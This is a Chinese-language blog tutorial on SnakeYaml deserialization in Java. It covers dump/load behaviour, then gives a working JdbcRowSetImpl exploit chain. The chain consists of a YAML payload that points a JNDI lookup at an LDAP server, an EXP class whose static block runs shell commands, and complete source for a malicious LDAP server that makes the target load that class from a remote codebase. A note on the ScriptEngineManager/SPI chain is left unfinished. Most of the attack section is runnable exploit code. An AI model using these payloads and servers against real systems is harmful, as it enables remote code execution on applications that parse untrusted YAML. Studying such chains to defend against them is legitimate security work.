SnakeYaml反序列化

SnakeYaml是一个用于Java的Yaml解析库

什么是Yaml?它是一种人类可读的数据序列化标准,它的设计最初目标就是为了方便阅读和编写,常用于配置文件

YAML基本格式要求:

  1. YAML大小写敏感
  2. 使用缩进代表层级关系
  3. 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐

配置环境依赖

Jdk8u66

<dependency>
  <groupId>org.yaml</groupId>
  <artifactId>snakeyaml</artifactId>
  <version>1.27</version>
</dependency>

java里处理yaml主要就是利用SnakeYaml库进行处理,支持java对象的序列化和反序列化

分析

SnakeYaml提供了Yaml.dump()Yaml.load()这两个函数对yaml格式的数据进行序列化和反序列化

我们去代码里看一下

Yaml.load()

T load(String yaml) {
      return (T)this.loadFromReader(new StreamReader(yaml), Object.class);

将字符串包装成流,并且不限制返回类型,参数可以是字符串也可以是文件

简单来说将yaml转换成java对象

Yaml.dupm()

public void dump(Object data, Writer output) {
  List<Object> list = new ArrayList(1);
  list.add(data); //把你的对象包装进一个列表
  //调用核心序列化逻辑,将 Java 对象转换成 YAML 文本写入 output
  this.dumpAll(list.iterator(), output, (Tag)null);
}

序列化,输出一个java对象输出一段YAML格式的文本流

写个例子

Person类

public class Person {

  private String name;
  private int age;

  public Person(){};

  public Person(String name,int age) {
      this.name=name;
      this.age=age;
  }

  public String getName(){
      System.out.println("getName");
      return name;
  }
  public void setName(String name){
      this.name=name;
      System.out.println("setName");
  }

  public int getAge() {
      System.out.println("getAge");
      return age;
  }
  public void setAge(int age) {
      System.out.println("setAge");
      this.age = age;
  }
}

测试类

import org.yaml.snakeyaml.Yaml;

public class test_1 {
  public static void main(String[] args) {
      Person person=new Person("sunempty",20);
      Yaml yaml=new Yaml();
      String dump = yaml.dump(person);
      System.out.println(dump);

      Object obj=yaml.load(dump);
      System.out.println(obj);
  }
}

运行结果:
getAge
getName
!!Person {age: 20, name: sunempty}

setAge
setName
Person@ee7d9f1

注意这里有参的get方法是没办法自动触发到get方法的,根本原因是因为在SnakeYaml尝试将Person对象转换为文本流时候,不是直接读源代码,而是通过java自带的Introspector机制(内省器)去询问的,要满足JavaBeans规范

Getter带了参数,在dump中就不会被识别,导致序列化出来的yaml内容为空,同样Setter也一样,要符合规范,对于写入器来说,要求就是有对应set的参数才能写入

最后说明yaml序列化时,即调用yaml.dump()时,会调用目标类的getter方法

调用yaml.load()时,会调用目标类的setter方法

!!:表示这是一个特定类型的标签(Tag)或者理解为强制类型声明或者指定类型实例化,强制转换位!!后指定的类型

@:分隔符。

ee7d9f1:对象的哈希码(十六进制)

利用链——jdbcRowSetlmpl利用链

因为会自动调用到set和get方法,和fastjson低版本的利用很像,这个就是利用调用到setAutoCommit方法

最后将 dataSourceName 传给 lookup 方法,就可以保证可以访问到远程的攻击服务器

具体走的链子可以看原来写过的fastjson文章

poc

import org.yaml.snakeyaml.Yaml;

public class test1 {
  public static void main(String[] args) {
      String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"ldap://127.0.0.1:9999/EXP\", autoCommit: true}";
      Yaml yaml = new Yaml();
      Object obj = yaml.load(payload);
      System.out.println(obj);
  }
}

EXP.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

public class EXP {
  public EXP() {
      System.out.println("=== EXP Constructor Executed ===");
  }

  static {
      System.out.println("=== EXP Class Static Block Executed ===");

      try {
          Runtime.getRuntime().exec("open -a Calculator");
          System.out.println("=== Calculator command executed ===");
          Runtime.getRuntime().exec("touch /tmp/fastjson_success");
      } catch (Exception var1) {
          System.err.println("=== Error executing command ===");
          var1.printStackTrace();
      }

  }
}

LDAP

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;

public class test1_LDAP {
  private static final String LDAP_BASE = "dc=example,dc=com";

  public static void main(String[] args) {
      // 使用带 # 的 URL
      String codebase = "http://127.0.0.1:8888/#EXP";
      int port = 9999;

      if (args.length > 0) {
          codebase = args[0];
      }

      try {
          InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
          config.setListenerConfigs(new InMemoryListenerConfig(
                  "listen",
                  InetAddress.getByName("0.0.0.0"),
                  port,
                  ServerSocketFactory.getDefault(),
                  SocketFactory.getDefault(),
                  (SSLSocketFactory) SSLSocketFactory.getDefault()));

          config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(codebase)));
          InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
          System.out.println("Listening on 0.0.0.0:" + port);
          System.out.println("Codebase: " + codebase);
          ds.startListening();
      } catch (Exception e) {
          e.printStackTrace();
      }
  }

  private static class OperationInterceptor extends InMemoryOperationInterceptor {
      private URL codebase;

      public OperationInterceptor(URL cb) {
          this.codebase = cb;
      }

      @Override
      public void processSearchResult(InMemoryInterceptedSearchResult result) {
          String base = result.getRequest().getBaseDN();
          System.out.println("=== LDAP Server: Received request for base: " + base + " ===");

          Entry e = new Entry(base);
          try {
              sendResult(result, base, e);
              System.out.println("=== LDAP Server: Response sent successfully ===");
          } catch (Exception e1) {
              System.err.println("=== LDAP Server: Error sending response ===");
              e1.printStackTrace();
          }
      }

      protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
              throws Exception {

          // 获取类名(# 后面的部分)
          String className = this.codebase.getRef();
          System.out.println("Extracted class name: " + className);

          if (className == null || className.isEmpty()) {
              // 如果没有 #,从路径中提取类名
              String path = this.codebase.getPath();
              if (path.contains("/")) {
                  className = path.substring(path.lastIndexOf('/') + 1);
                  // 去掉 .class 后缀(如果有)
                  if (className.endsWith(".class")) {
                      className = className.substring(0, className.length() - 6);
                  }
              } else {
                  className = path;
              }
              System.out.println("Using class name from path: " + className);
          }

          // 构造类文件 URL
          String codebaseUrl = this.codebase.toString();
          int refPos = codebaseUrl.indexOf('#');
          if (refPos > 0) {
              codebaseUrl = codebaseUrl.substring(0, refPos);
          }

          // 确保 codebaseUrl 以 / 结尾
          if (!codebaseUrl.endsWith("/")) {
              codebaseUrl += "/";
          }

          URL classUrl = new URL(codebaseUrl + className.replace('.', '/') + ".class");
          System.out.println("Class URL: " + classUrl);
          System.out.println("CodeBase: " + codebaseUrl);
          System.out.println("Factory: " + className);


          e.addAttribute("javaClassName", "java.lang.String");
          e.addAttribute("javaCodeBase", codebaseUrl);
          e.addAttribute("objectClass", "javaNamingReference");
          e.addAttribute("javaFactory", className);

          result.sendSearchEntry(e);
          result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

          System.out.println("=== LDAP Server: Sent reference for class: " + className + " ===");
      }
  }
}

利用链——ScriptEngineManager

由于yaml反序列化可以通过!!+类名指定反序列化的类,在反序列化过程中会实例化该类

利用了其SPI机制

SPI机制

Java SPI是java官方提供的一种服务发现机制,允许在运行时动态加载实现特定接口的类,并且不需要在代码中显式指定

核心思想是接口与实现分离,通过配置自动寻找实现类

SPI 运作通常包含三个角色:

  1. Service Interface: 一个接口或抽象类(例如 javax.script.ScriptEngineFactory
  2. Service Provider: 实现了该接口的具体类(例如 EXP.java
  3. Configuration File: 一个位于 META-INF/services/ 下的配置文件

持续更新~

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇